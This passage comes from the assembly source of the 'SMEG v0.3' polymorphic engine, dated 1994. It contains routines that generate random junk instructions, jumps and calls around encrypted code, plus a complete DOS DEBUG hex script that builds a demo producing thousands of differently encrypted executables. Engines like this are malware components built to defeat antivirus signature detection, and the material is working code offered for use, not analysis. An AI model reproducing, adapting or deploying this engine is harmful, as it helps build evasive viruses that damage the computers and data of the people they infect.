; it tells us which and ax,0F ; value to write in add ax,ax ; this is the modifier add ax,offset write_table ; i.e. pointer, encryption xchg bx,ax ; value, etc. jmp word ptr [bx] write_nothing: retn write_cryptval: mov al,[bp.cryptval] stosb retn write_pointer_patch: ; save location of pointer initialisation mov [bp.pointer_patch],di stosw retn write_counter_patch: ; save location of counter initialisation mov [bp.counter_patch],di stosw retn write_ptr_offset: ; write XXXX of [bx+XXXX] mov ax,[bp.ptr_offsets] mov [bp.pointer_fixup],ax stosw retn write_dl: mov al,dl ; write lower half of top mov cl,4 ; byte of dl as a word shr al,cl ; used as amount to increment and ax,0F stosw retn garble_some: push si mov dx,3 ; garble 2-5 times call multiple_garble pop si retn garble_more: mov dx,7 multiple_garble:call rnd_get and ax,dx inc ax inc ax xchg cx,ax garble_again: push cx ; save garble count call garble_once ; garble pop cx ; restore garble count loop garble_again cmp [bp.cJMP_patch],cx ; cJMP_patch == 0? i.e. is je skip_finish_cJMP ; there an unfinished cJMP? call finish_cJMP ; if so, finish it skip_finish_cJMP:call many_nonbranch_garble ; garble garble mov bx,[bp.nJMP_patch] ; check if pending nJMP and bx,bx jnz loc_0047 ; if so, keep going retn loc_0047: ; xref 4028:0996 mov al,0C3 ; encode a RETN stosb mov ax,di sub ax,bx dec ax dec ax mov [bx],ax mov [bp.CALL_patch],bx mov word ptr [bp.nJMP_patch],0 many_nonbranch_garble: call rnd_get ; do large instruction and ax,3 ; garble from 3 to 6 times add al,3 xchg cx,ax many_nonbranch_garble_loop: push cx call not_branch_garble pop cx loop many_nonbranch_garble_loop retn ; finish_cJMP simply encodes a few instructions between the conditional ; jmp and its target, and then sets the destination of the jmp to be after ; the inserted instructions. finish_cJMP: mov ax,di ; get current location mov bx,[bp.cJMP_patch] ; get previous location sub ax,bx dec al ; calculate offset jnz go_patch_cJMP ; if nothing in between, call not_branch_garble ; fill in some instructions jmp short finish_cJMP ; and do this again go_patch_cJMP: cmp ax,7F ; are we close enough? jbe patch_cJMP ; if so, finish this now xor al,al ; if not, encode cJMP $+2 patch_cJMP: mov [bx],al ; patch the cJMP destination mov word ptr [bp.cJMP_patch],0 ; clear usage flag retn set_reg_mask: and cl,0F8 ; clear bottom 3 bits mov bx,bp db 83,0C3,6 ; add bx,6 mov dh,7 ; assume one of 8 registers test dl,4 ; can we use any register? jnz set_reg_mask_exit ; if so, quit db 83,0C3,3 ; add bx,3 ; otherwise, set mask so we mov dh,3 ; only choose from regs 3-6 set_reg_mask_exit: retn choose_register:call rnd_get ; get random number xor ah,ah ; clear high byte and al,dh ; use mask from set_reg_mask add bx,ax mov al,[bx] ; get the register number test ch,1 ; byte or word register? jnz choose_reg_done ; if word, we are okay test byte ptr [si-2],4 ; otherwise, check if we can jnz choose_reg_done ; take only half the register mov ah,al ; uh oh, we can't, so... and al,3 ; is it one of the garbage cmp al,[bp+9] ; registers? mov al,ah ; if so, we are done jz choose_reg_done mov al,[bp+9] cmp al,4 ; ax,cx,dx, or bx? jb werd ; to yer muthah! pop ax ; pop off return location retn ; go to caller's caller werd: and ah,4 ; make either byte or word or al,ah ; register choose_reg_done:retn garble_once: call rnd_get cmp ah,0C8 ; randomly go to either jbe other_garble ; here ... jmp branch_garble ; ... or here not_branch_garble: call rnd_get other_garble: cmp al,0F0 jbe larger_instr ; mostly do larger instructions jmp do_one_byte ; 1/16 chance larger_instr: and ax,1F ; normalise random number cmp al,[bp.lastgarble] ; is it the same as before? je not_branch_garble ; then try again, since we ; don't want two of the same ; sort in a row mov [bp.lastgarble],al ; else remember this one add ax,ax ; and process it add ax,offset garble_table xchg si,ax lodsw ; get table entry xchg cx,ax ; keep it in CX mov dl,cl ; pick out the bottom and dl,3 ; mask out low 2 bits call rnd_get and al,3 ; this line unnecessary and al,dl ; patch it into the top or ch,al ; byte for variable opcodes ; (e.g. allows byte & word ; forms of opcode to use the ; same table entry) mov dl,cl and dl,0C0 ; mask out mod field cmp dl,0C0 ; does it indicate register mov dl,cl ; operation? i.e. 2 regs jz no_memory ; if so, branch call set_reg_mask ; otherwise, process memory call rnd_get ; and register operation and al,0C0 ; clear all but top 2 bits or cl,al ; fill in the field rol al,1 rol al,1 mov dl,al call rnd_get ; generate the registers to use and al,7 ; in memory access,i.e. [bx+si] or cl,al ; patch into 2nd byte of instr cmp dl,3 je fill_in_rm cmp al,6 jne force_byte mov dl,2 ; alter mask to choose AX or DX and cl,3F jmp short fill_in_rm force_byte: and ch,not 1 ; change to byte data ; "byte sized" fill_in_rm: call choose_register ; move register into shl al,1 ; the rm field shl al,1 shl al,1 finish_larger: or cl,al ; combine data xchg cx,ax ; move it to the right register xchg ah,al ; reverse byte order stosw ; write the instruction and dl,dl ; needs data bytes? jnz needs_data retn needs_data: cmp dl,3 ; check length of instruction jne do_data_bytes retn do_data_bytes: call rnd_get ; keep the random number and al,3F ; under 40h stosb ; write the byte dec dl ; decrement bytes to write jnz do_data_bytes retn no_memory: call set_reg_mask call choose_register mov ah,ch ; get the opcode and clear the and ah,0FE ; size bit for now cmp ah,0F6 jne not_NOT_NEG test cl,10 ; is it TEST instruction? jz not_NOT_NEG ; if it is, go find the number ; of data bytes it needs, else ; it is NOT or NEG, so there're no_data_bytes: xor dl,dl ; no data bytes jmp short finish_larger not_NOT_NEG: and ah,0FC ; is it a shift or rotate? cmp ah,0D0 jne set_data_length ; if not, calculate # data ; bytes needed, else jmp short no_data_bytes ; we don't need any set_data_length:test ch,1 ; byte or word of data? mov dl,2 ; assume word jnz finish_larger ; continue if so dec dl ; DEC DX is better!!! jmp short finish_larger ; otherwise adjust to data do_one_byte: and al,7 mov bx,offset onebyte_table xlat cmp al,48 ; DEC? je inc_or_dec cmp al,40 ; or INC? jne encode_1byte inc_or_dec: mov cl,al call rnd_get ; get a garbage register and al,3 mov bx,bp ; can we say "lea", boys and db 83,0C3,9 ; add bx,9 ; girls? xlat ; look up the register or al,cl ; fill in the register field encode_1byte: stosb retn branch_garble: cmp word ptr [bp.cJMP_patch],0 ; is there an unfinished je no_pending_cJMP ; conditional jmp? jmp finish_cJMP ; if so, finish it no_pending_cJMP:call rnd_get cmp ah,6E ja do_near_JMP do_cond_jmp: and al,0F ; encode a conditional or al,70 ; jmp stosb mov [bp.cJMP_patch],di ; save target offset stosb retn do_near_JMP: cmp word ptr [bp.nJMP_patch],0 ; is there an unfinished jne do_cond_jmp ; near JMP pending? call rnd_get ; if not, encode one cmp al,78 ; either just jmp past jbe encode_CALL ; or call it too mov al,0E9 ; encode near JMP stosb mov [bp.nJMP_patch],di ; save location to patch stosw call rnd_get cmp al,0AA jbe forward_CALL go_not_branch_garble: jmp not_branch_garble forward_CALL: cmp word ptr [bp.last_CALL],0 ; is there a garbage CALL je go_not_branch_garble ; we can patch? push di ; if there is, patch the CALL xchg di,ax ; for here so there are CALLs dec ax ; forwards as well as back- dec ax ; wards mov di,[bp.last_CALL] sub ax,di stosw pop di jmp not_branch_garble encode_CALL: cmp word ptr [bp.CALL_patch],0 ; is there one pending? je do_cond_jmp mov al,0E8 ; encode a CALL stosb cmp word ptr [bp.last_CALL],0 je store_CALL_loc call rnd_get ; 1/2 chance of replacing and al,7 ; it (random so it's not cmp al,4 ; too predictable) jae fill_in_offset store_CALL_loc: mov [bp.last_CALL],di ; save ptr to CALL offset fill_in_offset: mov ax,di ; calculate CALL offset sub ax,[bp.CALL_patch] neg ax stosw retn rnd_init: mov ah,2C ; get time int 21 mov ax,3E1 mul dx add ax,cx xchg cx,ax in ax,40 ; timer port add ax,cx mov [bp.rng_buffer],ax retn rnd_get: push bx cx dx mov ax,[bp.rng_buffer] mov cx,3E1 mul cx mov cx,ax xor dx,dx mov bx,35 div bx add dx,cx js no_fix_seed1 in ax,40 ; port 40, 8253 timer 0 clock add dx,ax no_fix_seed1: cmp dx,[bp.rng_buffer] jne no_fix_seed2 neg dx in ax,40 ; port 40, 8253 timer 0 clock xor dx,ax no_fix_seed2: mov [bp.rng_buffer],dx xchg dx,ax pop dx cx bx retn heap: data_area db 02dh dup (?) target_area: end SMEG_demo ------------------------------- N SMEGdemo.com E 0100 E9 C5 01 30 30 30 30 2E 43 4F 4D 00 53 4D 45 47 E 0110 20 76 30 2E 33 2E 20 20 47 65 6E 65 72 61 74 69 E 0120 6F 6E 20 44 69 66 66 65 72 65 6E 63 65 20 44 65 E 0130 6D 6F 6E 73 74 72 61 74 69 6F 6E 0D 0A 09 20 20 E 0140 20 28 43 29 20 54 68 65 20 42 6C 61 63 6B 20 42 E 0150 61 72 6F 6E 20 31 39 39 34 0D 0A 0A 0A 53 45 4C E 0160 45 43 54 20 54 48 45 20 4E 55 4D 42 45 52 20 4F E 0170 46 20 47 45 4E 45 52 41 54 49 4F 4E 53 3A 0D 0A E 0180 0A 31 20 20 2D 2D 20 20 31 30 20 20 20 20 20 47 E 0190 65 6E 65 72 61 74 69 6F 6E 73 0D 0A 32 20 20 2D E 01A0 2D 20 20 31 30 30 20 20 20 20 20 20 20 20 22 22 E 01B0 0D 0A 33 20 20 2D 2D 20 20 31 30 30 30 20 20 20 E 01C0 20 20 20 20 22 22 0D 0A 34 20 20 2D 2D 20 20 31 E 01D0 30 30 30 30 20 20 20 20 20 20 22 22 20 20 20 20 E 01E0 20 20 20 20 28 4C 61 72 67 65 20 48 44 60 73 20 E 01F0 4F 6E 6C 79 21 21 29 24 20 31 30 20 24 20 31 30 E 0200 30 20 24 20 31 30 30 30 20 24 20 31 30 30 30 30 E 0210 20 24 0D 0A 0A 0A 47 65 6E 65 72 61 74 69 6E 67 E 0220 24 45 78 65 63 75 74 61 62 6C 65 20 2E 43 4F 4D E 0230 20 47 65 6E 65 72 61 74 69 6F 6E 73 2C 20 50 6C E 0240 65 61 73 65 20 57 61 69 74 2E 2E 2E 24 0D 0A 0A E 0250 44 4F 4E 45 21 20 20 4E 6F 77 20 65 78 61 6D 69 E 0260 6E 65 20 65 61 63 68 2C 20 61 6E 64 20 6E 6F 74 E 0270 65 20 68 6F 77 20 64 69 66 66 65 72 65 6E 74 20 E 0280 74 68 65 79 20 61 72 65 21 0D 0A 0A 07 24 0D 0A E 0290 0A 53 4F 52 52 59 21 20 20 41 20 64 69 73 6B 20 E 02A0 65 72 72 6F 72 20 68 61 73 20 6F 63 63 75 72 72 E 02B0 65 64 21 0D 0A 0A 07 24 0A 00 F8 01 64 00 FD 01 E 02C0 E8 03 03 02 10 27 0A 02 B8 03 00 CD 10 BA 0C 01 E 02D0 B4 09 CD 21 B8 07 0C CD 21 3C 31 72 F7 3C 34 77 E 02E0 F3 2C 31 32 E4 03 C0 03 C0 05 B8 02 93 53 BA 12 E 02F0 02 B4 09 CD 21 5B 8B 0F 51 8B 57 02 CD 21 BA 21 E 0300 02 CD 21 59 51 BD B3 0B BF E0 0B BA 89 03 B9 4A E 0310 00 B8 00 01 E8 BC 00 B4 5B BA 03 01 33 C9 CD 21 E 0320 73 09 E8 5C 00 59 B8 FF 4C CD 21 93 B4 40 8B 4E E 0330 27 BA E0 0B CD 21 73 09 E8 46 00 B4 3E CD 21 EB E 0340 E4 E8 A9 04 B4 40 8B 4E 00 BA E0 0B CD 21 72 E8 E 0350 E8 FA 01 B4 40 CD 21 72 DF B4 3E CD 21 72 C3 BB E 0360 06 01 B9 04 00 FE 07 80 3F 3A 72 06 80 2F 0A 4B E 0370 E2 F3 59 E2 8F BA 4D 02 B4 09 CD 21 B8 00 4C CD E 0380 21 BA 8E 02 B4 09 CD 21 C3 E8 3D 00 0D 0A 54 68 E 0390 69 73 20 77 61 73 20 64 65 63 72 79 70 74 65 64 E 03A0 20 77 69 74 68 20 61 20 53 4D 45 47 20 76 30 2E E 03B0 33 20 67 65 6E 65 72 61 74 65 64 20 64 65 63 72 E 03C0 79 70 74 6F 72 21 0D 0A 24 5A B4 09 CD 21 B8 00 E 03D0 4C CD 21 89 4E 00 89 56 02 89 7E 04 53 56 8B DD E 03E0 83 C3 06 B9 2D 00 53 88 2F 43 E2 FB 89 46 1C E8 E 03F0 7E 07 BB 6A 05 E8 8C 07 24 1F D7 5B B9 04 00 32 E 0400 D2 D0 D0 D0 D2 D0 D0 D0 D2 88 17 43 E2 F1 C6 07 E 0410 05 43 43 E8 6E 07 D0 C0 24 01 04 06 88 07 34 01 E 0420 80 7F FD 03 75 05 88 47 FD B0 03 88 47 01 8A 47 E 0430 FD 88 47 FF E8 4D 07 32 C4 74 F9 88 46 10 E8 43 E 0440 07 0C 01 89 46 11 E8 27 07 25 FF 03 05 80 00 89 E 0450 46 25 33 C0 04 53 4D 45 47 04 AE FC 2B F8 E8 23 E 0460 07 25 03 00 04 03 91 51 E8 09 05 E8 16 07 3C 8C E 0470 76 11 25 03 00 05 D2 05 96 B4 B4 AC 86 E0 AB B8 E 0480 CD 21 AB 59 E2 E1 B0 E8 AA 57 AB E8 E6 04 B0 E9 E 0490 AA 5B 57 AB 57 58 48 48 2B C3 89 07 E8 D5 04 B0 E 04A0 C3 AA 5B 57 58 48 48 2B C3 89 07 E8 CC 03 8B F5 E 04B0 83 C6 08 22 C0 75 02 4E 4E B0 75 AA 47 57 E8 AA E 04C0 04 5B B0 E9 AA 57 47 47 8B C7 2B C3 88 47 FF E8 E 04D0 99 04 E8 AF 06 25 03 00 03 C0 74 14 50 B0 B8 0A E 04E0 04 AA 8B 46 13 2B 46 04 03 46 1C AB E8 7C 04 58 E 04F0 05 C5 07 93 FF 17 AB 5B 8B C7 2B C3 48 48 89 07 E 0500 E8 71 04 8B C7 2B 46 04 24 0F 74 11 3C 0C 77 05 E 0510 E8 19 05 EB EE E8 6C 06 E8 C5 05 EB E6 8B C7 2B E 0520 46 04 89 46 27 03 46 1C 8B 4E 19 2B C1 8B 5E 15 E 0530 89 07 8A 5E 1B B1 03 D2 CB 83 E3 0F 81 C3 D6 05 E 0540 8B 46 00 FF 17 8B 5E 17 89 07 5E 5B C3 8B 4E 25 E 0550 8B 7E 04 51 57 E8 2C 06 AA E2 FA 5A 59 C3 48 09 E 0560 49 09 4E 09 53 09 58 09 60 09 1B C6 B1 6C E4 39 E 0570 4E 93 4B D2 B4 2D E1 78 1E 87 27 C9 72 9C D8 36 E 0580 8D 63 E4 2D 27 1E C6 87 D2 72 48 40 F8 FC F5 F9 E 0590 40 48 F1 80 01 32 C1 F6 05 84 E9 80 01 2A EB D0 E 05A0 01 1A D9 80 D1 80 FB D0 E3 D0 CB D0 C3 D0 05 84 E 05B0 DB D0 C1 C6 C9 80 01 0A D1 F6 D9 F6 01 8A C1 C6 E 05C0 01 02 C1 80 FD 80 07 38 E1 80 D3 D0 01 22 01 12 E 05D0 01 8A 19 2A 2C 30 3E 08 40 08 41 08 43 08 46 08 E 05E0 48 08 4F 08 51 08 A9 08 AA 08 AC 08 D0 08 D2 08 E 05F0 D6 08 DD 08 08 8C 00 C8 04 00 08 8E 00 D8 04 00 E 0600 07 B8 04 FF 00 02 01 B8 04 FF 00 03 57 8A 00 80 E 0610 05 04 57 88 00 80 05 04 02 80 00 F0 04 01 11 8B E 0620 00 C0 05 00 78 30 00 00 06 00 47 F6 00 98 04 04 E 0630 47 F6 00 90 04 04 07 40 04 FF 00 00 01 48 04 FF E 0640 00 00 08 B0 04 FF 00 01 10 33 00 C0 05 00 47 86 E 0650 00 80 05 04 08 40 04 FF 00 00 08 48 04 FF 00 00 E 0660 07 81 00 C0 04 15 01 81 00 E8 04 15 10 02 00 C0 E 0670 05 00 10 2A 00 C0 05 00 47 FB 04 B0 04 04 47 8F E 0680 00 80 04 04 08 50 04 FF 00 00 08 58 04 FF 00 00 E 0690 10 87 00 C0 05 00 02 40 04 FF 00 00 08 8B 00 C0 E 06A0 05 00 09 23 00 C0 05 00 10 13 24 EF 05 F0 26 CD E 06B0 FF 71 34 12 EE 0D AD 5F 60 30 40 50 30 50 FF 42 E 06C0 43 10 CE E0 C2 00 1F 68 80 D0 D0 D0 30 C0 E0 40 E 06D0 F0 FF 00 33 14 23 EE 0D DB 5F 6F C0 20 20 F0 FF E 06E0 64 41 2E 3F 09 80 C0 20 D0 20 40 20 20 E0 D0 C0 E 06F0 F0 FF 05 13 42 EF 0D 70 A0 80 B0 C0 B0 A0 76 C8 E 0700 80 D0 D0 C0 E0 B0 20 F0 FF 56 34 12 2E 05 D0 66 E 0710 80 3F DC D0 FF 27 41 32 EF 09 F0 40 A8 D0 D0 D0 E 0720 C0 E0 B0 30 F0 FF 32 41 32 E0 C0 08 D0 BF 60 30 E 0730 C0 4D FF 00 11 43 12 EF 0A 5F D0 30 30 C0 10 C0 E 0740 40 F0 FF 66 31 42 EF 00 A0 88 80 C0 20 20 20 20 E 0750 E0 B0 C0 B0 60 A0 C0 A0 90 B0 3C F0 F0 FF 04 12 E 0760 E8 43 08 D0 D0 C0 E0 C9 C0 20 20 F0 FF 73 31 42 E 0770 E4 0D DD B0 A0 80 B0 C0 BF 60 20 40 20 50 FF 20 E 0780 E0 C1 32 40 00 10 CF D0 C0 10 C8 C0 D0 D0 D0 20 E 0790 C0 E0 F0 FF 00 55 43 12 E3 05 D0 70 20 56 CD FF E 07A0 47 E3 40 C1 20 00 80 B0 CF 68 D0 30 D0 D0 D0 C0 E 07B0 E0 40 F0 FF 00 11 08 26 08 16 08 1D 08 1F 08 2F E 07C0 08 34 08 39 08 56 08 63 08 69 08 6F 08 7F 07 BF E 07D0 06 F2 06 5E 07 A8 06 34 07 95 07 26 07 B1 06 15 E 07E0 07 A0 07 43 07 D3 06 6D 07 E0 06 09 07 FC 53 56 E 07F0 8A 5E 1B 83 E3 0F 03 DB 81 C3 B5 07 8B 7E 04 8B E 0800 76 02 8B 4E 00 8A 56 10 AC FF 17 AA E2 FA 5E 5B E 0810 C3 32 C2 FE C2 C3 32 D0 8A C2 FE CA C3 F6 D0 32 E 0820 C2 FE C2 FE C2 C3 32 C2 F6 D8 FE CA FE CA C3 02 E 0830 C2 FE C2 C3 2A C2 FE CA C3 32 C2 FE CA C3 F7 D8 E 0840 C3 F7 D8 03 C0 C3 F7 D8 8B C8 03 C0 03 C1 C3 F7 E 0850 D8 03 C0 03 C0 C3 B0 E9 AA 8B C7 2B 46 13 40 40 E 0860 F7 D8 C3 B8 FF E0 0A 24 C3 B8 50 C3 0A 04 C3 B0 E 0870 0E AA E8 F6 00 B8 50 CB EB F2 E8 07 03 BB CD 07 E 0880 25 0F 00 03 C0 03 D8 8B 37 AC 88 46 1B EB 55 AC E 0890 80 FC FF 74 14 32 FF 02 C0 8A D8 81 C3 E6 05 8A E 08A0 C6 B9 03 00 FF 17 86 E0 AA C3 D2 C8 24 07 8B DD E 08B0 83 C3 06 D7 D2 C0 22 C9 75 13 F6 C6 40 74 0E 3C E 08C0 03 75 04 B0 07 EB 06 3C 06 72 02 2C 02 0A E0 C3 E 08D0 D2 C8 32 C9 EB D6 E8 D1 FF 8A C6 EB F5 E8 CC FF E 08E0 8A C6 EB EC C7 46 2B EE 05 AC 3C FF 75 02 AC C3 E 08F0 56 50 B1 04 E8 09 00 32 C9 58 E8 03 00 5E EB E9 E 0900 D2 C8 25 0F 00 75 0E 22 C9 74 04 89 7E 13 C3 C7 E 0910 46 2B 48 06 C3 50 E8 5B 00 58 03 C0 8B D8 03 C0 E 0920 03 C3 03 46 2B C7 46 2B EE 05 96 AC 8A F0 AC 86 E 0930 E0 E8 5B FF AC 86 E0 E8 55 FF AC 8A D0 25 0F 00 E 0940 03 C0 05 5E 05 93 FF 27 C3 8A 46 10 AA C3 89 7E E 0950 15 AB C3 89 7E 17 AB C3 8B 46 11 89 46 19 AB C3 E 0960 8A C2 B1 04 D2 E8 25 0F 00 AB C3 56 BA 03 00 E8 E 0970 05 00 5E C3 BA 07 00 E8 0A 02 23 C2 40 40 91 51 E 0980 E8 9E 00 59 E2 F9 39 4E 1F 74 03 E8 2F 00 E8 1B E 0990 00 8B 5E 23 23 DB 75 01 C3 B0 C3 AA 8B C7 2B C3 E 09A0 48 48 89 07 89 5E 21 C7 46 23 00 00 E8 D5 01 25 E 09B0 03 00 04 03 91 51 E8 73 00 59 E2 F9 C3 8B C7 8B E 09C0 5E 1F 2B C3 FE C8 75 05 E8 61 00 EB F0 3D 7F 00 E 09D0 76 02 32 C0 88 07 C7 46 1F 00 00 C3 80 E1 F8 8B E 09E0 DD 83 C3 06 B6 07 F6 C2 04 75 05 83 C3 03 B6 03 E 09F0 C3 E8 90 01 32 E4 22 C6 03 D8 8A 07 F6 C5 01 75 E 0A00 1F F6 44 FE 04 75 19 8A E0 24 03 3A 46 09 8A C4 E 0A10 74 0E 8A 46 09 3C 04 72 02 58 C3 80 E4 04 0A C4 E 0A20 C3 E8 60 01 80 FC C8 76 06 E9 D3 00 E8 55 01 3C E 0A30 F0 76 03 E9 AA 00 25 1F 00 3A 46 1E 74 EE 88 46 E 0A40 1E 03 C0 05 92 05 96 AD 91 8A D1 80 E2 03 E8 33 E 0A50 01 24 03 22 C2 0A E8 8A D1 80 E2 C0 80 FA C0 8A E 0A60 D1 74 4F E8 76 FF E8 1B 01 24 C0 0A C8 D0 C0 D0 E 0A70 C0 8A D0 E8 0E 01 24 07 0A C8 80 FA 03 74 0E 3C E 0A80 06 75 07 B2 02 80 E1 3F EB 03 80 E5 FE E8 61 FF E 0A90 D0 E0 D0 E0 D0 E0 0A C8 91 86 E0 AB 22 D2 75 01 E 0AA0 C3 80 FA 03 75 01 C3 E8 DA 00 24 3F AA FE CA 75 E 0AB0 F6 C3 E8 27 FF E8 39 FF 8A E5 80 E4 FE 80 FC F6 E 0AC0 75 09 F6 C1 10 74 04 32 D2 EB CB 80 E4 FC 80 FC E 0AD0 D0 75 02 EB F2 F6 C5 01 B2 02 75 BA FE CA EB B6 E 0AE0 24 07 BB 8A 05 D7 3C 48 74 04 3C 40 75 0F 8A C8 E 0AF0 E8 91 00 24 03 8B DD 83 C3 09 D7 0A C1 AA C3 83 E 0B00 7E 1F 00 74 03 E9 B5 FE E8 79 00 80 FC 6E 77 0A E 0B10 24 0F 0C 70 AA 89 7E 1F AA C3 83 7E 23 00 75 F0 E 0B20 E8 61 00 3C 78 76 25 B0 E9 AA 89 7E 23 AB E8 53 E 0B30 00 3C AA 76 03 E9 F4 FE 83 7E 29 00 74 F7 57 97 E 0B40 48 48 8B 7E 29 2B C7 AB 5F E9 E0 FE 83 7E 21 00 E 0B50 74 BE B0 E8 AA 83 7E 29 00 74 09 E8 26 00 24 07 E 0B60 3C 04 73 03 89 7E 29 8B C7 2B 46 21 F7 D8 AB C3 E 0B70 B4 2C CD 21 B8 E1 03 F7 E2 03 C1 91 E5 40 03 C1 E 0B80 89 46 0E C3 53 51 52 8B 46 0E B9 E1 03 F7 E1 8B E 0B90 C8 33 D2 BB 35 00 F7 F3 03 D1 78 04 E5 40 03 D0 E 0BA0 3B 56 0E 75 06 F7 DA E5 40 33 D0 89 56 0E 92 5A E 0BB0 59 5B C3 R CX 0AB3 W Q -------------------------------